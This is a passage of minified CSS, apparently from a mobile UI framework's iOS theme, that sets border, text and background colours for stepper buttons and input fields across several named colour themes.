input{color:#4cd964}.ios .color-theme-green .stepper.stepper-fill .stepper-button,.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus{background-color:#4cd964}.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#4cd964;border-color:#4cd964;background-color:transparent}.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#4cd964}.ios .color-theme-blue .stepper .stepper-button,.ios .color-theme-blue .stepper .stepper-button-minus,.ios .color-theme-blue .stepper .stepper-button-plus{border-color:#007aff;color:#007aff}.ios .color-theme-blue .stepper .stepper-button-minus.active-state,.ios .color-theme-blue .stepper .stepper-button-plus.active-state,.ios .color-theme-blue .stepper .stepper-button.active-state{background-color:rgba(0,122,255,.15)}.ios .color-theme-blue .stepper .stepper-button-minus:after,.ios .color-theme-blue .stepper .stepper-button-minus:before,.ios .color-theme-blue .stepper .stepper-button-plus:after,.ios .color-theme-blue .stepper .stepper-button-plus:before{background-color:#007aff}.ios .color-theme-blue .stepper .stepper-input-wrap,.ios .color-theme-blue .stepper .stepper-value{border-top-color:#007aff;border-bottom-color:#007aff}.ios .color-theme-blue .stepper .stepper-value{color:#007aff}.ios .color-theme-blue .stepper .stepper-input-wrap input{color:#007aff}.ios .color-theme-blue .stepper.stepper-fill .stepper-button,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus{background-color:#007aff}.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent}.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#007aff}.ios .color-theme-pink .stepper .stepper-button,.ios .color-theme-pink .stepper .stepper-button-minus,.ios .color-theme-pink .stepper .stepper-button-plus{border-color:#ff2d55;color:#ff2d55}.ios .color-theme-pink .stepper .stepper-button-minus.active-state,.ios .color-theme-pink .stepper .stepper-button-plus.active-state,.ios .color-theme-pink .stepper .stepper-button.active-state{background-color:rgba(255,45,85,.15)}.ios .color-theme-pink .stepper .stepper-button-minus:after,.ios .color-theme-pink .stepper .stepper-button-minus:before,.ios .color-theme-pink .stepper .stepper-button-plus:after,.ios .color-theme-pink .stepper .stepper-button-plus:before{background-color:#ff2d55}.ios .color-theme-pink .stepper .stepper-input-wrap,.ios .color-theme-pink .stepper .stepper-value{border-top-color:#ff2d55;border-bottom-color:#ff2d55}.ios .color-theme-pink .stepper .stepper-value{color:#ff2d55}.ios .color-theme-pink .stepper .stepper-input-wrap input{color:#ff2d55}.ios .color-theme-pink .stepper.stepper-fill .stepper-button,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff2d55}.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff2d55;border-color:#ff2d55;background-color:transparent}.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff2d55}.ios .color-theme-yellow .stepper .stepper-button,.ios .color-theme-yellow .stepper .stepper-button-minus,.ios .color-theme-yellow .stepper .stepper-button-plus{border-color:#fc0;color:#fc0}.ios .color-theme-yellow .stepper .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper .stepper-button.active-state{background-color:rgba(255,204,0,.15)}.ios .color-theme-yellow .stepper .stepper-button-minus:after,.ios .color-theme-yellow .stepper .stepper-button-minus:before,.ios .color-theme-yellow .stepper .stepper-button-plus:after,.ios .color-theme-yellow .stepper .stepper-button-plus:before{background-color:#fc0}.ios .color-theme-yellow .stepper .stepper-input-wrap,.ios .color-theme-yellow .stepper .stepper-value{border-top-color:#fc0;border-bottom-color:#fc0}.ios .color-theme-yellow .stepper .stepper-value{color:#fc0}.ios .color-theme-yellow .stepper .stepper-input-wrap input{color:#fc0}.ios .color-theme-yellow .stepper.stepper-fill .stepper-button,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus{background-color:#fc0}.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#fc0;border-color:#fc0;background-color:transparent}.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fc0}.ios .color-theme-orange .stepper .stepper-button,.ios .color-theme-orange .stepper .stepper-button-minus,.ios .color-theme-orange .stepper .stepper-button-plus{border-color:#ff9500;color:#ff9500}.ios .color-theme-orange .stepper .stepper-button-minus.active-state,.ios .color-theme-orange .stepper .stepper-button-plus.active-state,.ios .color-theme-orange .stepper .stepper-button.active-state{background-color:rgba(255,149,0,.15)}.ios .color-theme-orange .stepper .stepper-button-minus:after,.ios .color-theme-orange .stepper .stepper-button-minus:before,.ios .color-theme-orange .stepper .stepper-button-plus:after,.ios .color-theme-orange .stepper .stepper-button-plus:before{background-color:#ff9500}.ios .color-theme-orange .stepper .stepper-input-wrap,.ios .color-theme-orange .stepper .stepper-value{border-top-color:#ff9500;border-bottom-color:#ff9500}.ios .color-theme-orange .stepper .stepper-value{color:#ff9500}.ios .color-theme-orange .stepper .stepper-input-wrap input{color:#ff9500}.ios .color-theme-orange .stepper.stepper-fill .stepper-button,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff9500}.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff9500;border-color:#ff9500;background-color:transparent}.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff9500}.ios .color-theme-gray .stepper .stepper-button,.ios .color-theme-gray .stepper .stepper-button-minus,.ios .color-theme-gray .stepper .stepper-button-plus{border-color:#8e8e93;color:#8e8e93}.ios .color-theme-gray .stepper .stepper-button-minus.active-state,.ios .color-theme-gray .stepper .stepper-button-plus.active-state,.ios .color-theme-gray .stepper .stepper-button.active-state{background-color:rgba(142,142,147,.15)}.ios .color-theme-gray .stepper .stepper-button-minus:after,.ios .color-theme-gray .stepper .stepper-button-minus:before,.ios .color-theme-gray .stepper .stepper-button-plus:after,.ios .color-theme-gray .stepper .stepper-button-plus:before{background-color:#8e8e93}.ios .color-theme-gray .stepper .stepper-input-wrap,.ios .color-theme-gray .stepper .stepper-value{border-top-color:#8e8e93;border-bottom-color:#8e8e93}.ios .color-theme-gray .stepper .stepper-value{color:#8e8e93}.ios .color-theme-gray .stepper .stepper-input-wrap input{color:#8e8e93}.ios .color-theme-gray .stepper.stepper-fill .stepper-button,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus{background-color:#8e8e93}.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#8e8e93;border-color:#8e8e93;background-color:transparent}.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#8e8e93}.ios .color-theme-white .stepper .stepper-button,.ios .color-theme-white .stepper .stepper-button-minus,.ios .color-theme-white .stepper .stepper-button-plus{border-color:#fff;color:#fff}.ios .color-theme-white .stepper .stepper-button-minus.active-state,.ios .color-theme-white .stepper .stepper-button-plus.active-state,.ios .color-theme-white .stepper .stepper-button.active-state{background-color:rgba(255,255,255,.15)}.ios .color-theme-white .stepper .stepper-button-minus:after,.ios .color-theme-white .stepper .stepper-button-minus:before,.ios .color-theme-white .stepper .stepper-button-plus:after,.ios .color-theme-white .stepper .stepper-button-plus:before{background-color:#fff}.ios .color-theme-white .stepper .stepper-input-wrap,.ios .color-theme-white .stepper .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.ios .color-theme-white .stepper .stepper-value{color:#fff}.ios .color-theme-white .stepper .stepper-input-wrap input{color:#fff}.ios .color-theme-white .stepper.stepper-fill .stepper-button,.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus{background-color:#fff}.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#fff;border-color:#fff;background-color:transparent}.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fff}.ios .color-theme-black .stepper .stepper-button,.ios .color-theme-black .stepper .stepper-button-minus,.ios .color-theme-black .stepper .stepper-button-plus{border-color:#000;color:#000}.ios .color-theme-black .stepper .stepper-button-minus.active-state,.ios .color-theme-black .stepper .stepper-button-plus.active-state,.ios .color-theme-black .stepper .stepper-button.active-state{background-color:rgba(0,0,0,.15)}.ios .color-theme-black .stepper .stepper-button-minus:after,.ios .color-theme-black .stepper .stepper-button-minus:before,.ios .color-theme-black .stepper .stepper-button-plus:after,.ios .color-theme-black .stepper .stepper-button-plus:before{background-color:#000}.ios .color-theme-black .stepper .stepper-input-wrap,.ios .color-theme-black .stepper .stepper-value{border-top-color:#000;border-bottom-color:#000}.ios .color-theme-black .stepper .stepper-value{color:#000}.ios .color-theme-black .stepper .stepper-input-wrap input{color:#000}.ios .color-theme-black .stepper.stepper-fill .stepper-button,.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus{background-color:#000}.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#000;border-color:#000;background-color:transparent}.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#000}.ios .stepper.color-red .stepper-button,.ios .stepper.color-red .stepper-button-minus,.ios .stepper.color-red .stepper-button-plus{border-color:#ff3b30;color:#ff3b30}.ios .stepper.color-red .stepper-button-minus.active-state,.ios .stepper.color-red .stepper-button-plus.active-state,.ios .stepper.color-red .stepper-button.active-state{background-color:rgba(255,59,48,.15)}.ios .stepper.color-red .stepper-button-minus:after,.ios .stepper.color-red .stepper-button-minus:before,.ios .stepper.color-red .stepper-button-plus:after,.ios .stepper.color-red .stepper-button-plus:before{background-color:#ff3b30}.ios .stepper.color-red .stepper-input-wrap,.ios .stepper.color-red .stepper-value{border-top-color:#ff3b30;border-bottom-color:#ff3b30}.ios .stepper.color-red .stepper-value{color:#ff3b30}.ios .stepper.color-red .stepper-input-wrap input{color:#ff3b30}.ios .stepper.color-red.stepper-fill .stepper-button,.ios .stepper.color-red.stepper-fill .stepper-button-minus,.ios .stepper.color-red.stepper-fill .stepper-button-plus,.ios .stepper.color-red.stepper-fill-ios .stepper-button,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus{background-color:#ff3b30}.ios .stepper.color-red.stepper-fill .stepper-button-minus:after,.ios .stepper.color-red.stepper-fill .stepper-button-minus:before,.ios .stepper.color-red.stepper-fill .stepper-button-plus:after,.ios .stepper.color-red.stepper-fill .stepper-button-plus:before,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button.active-state{color:#ff3b30;border-color:#ff3b30;background-color:transparent}.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff3b30}.ios .stepper.color-green .stepper-button,.ios .stepper.color-green .stepper-button-minus,.ios .stepper.color-green .stepper-button-plus{border-color:#4cd964;color:#4cd964}.ios .stepper.color-green .stepper-button-minus.active-state,.ios .stepper.color-green .stepper-button-plus.active-state,.ios .stepper.color-green .stepper-button.active-state{background-color:rgba(76,217,100,.15)}.ios .stepper.color-green .stepper-button-minus:after,.ios .stepper.color-green .stepper-button-minus:before,.ios .stepper.color-green .stepper-button-plus:after,.ios .stepper.color-green .stepper-button-plus:before{background-color:#4cd964}.ios .stepper.color-green .stepper-input-wrap,.ios .stepper.color-green .stepper-value{border-top-color:#4cd964;border-bottom-color:#4cd964}.ios .stepper.color-green .stepper-value{color:#4cd964}.ios .stepper.color-green .stepper-input-wrap input{color:#4cd964}.ios .stepper.color-green.stepper-fill .stepper-button,.ios .stepper.color-green.stepper-fill .stepper-button-minus,.ios .stepper.color-green.stepper-fill .stepper-button-plus,.ios .stepper.color-green.stepper-fill-ios .stepper-button,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus{background-color:#4cd964}.ios .stepper.color-green.stepper-fill .stepper-button-minus:after,.ios .stepper.color-green.stepper-fill .stepper-button-minus:before,.ios .stepper.color-green.stepper-fill .stepper-button-plus:after,.ios .stepper.color-green.stepper-fill .stepper-button-plus:before,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button.active-state{color:#4cd964;border-color:#4cd964;background-color:transparent}.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios 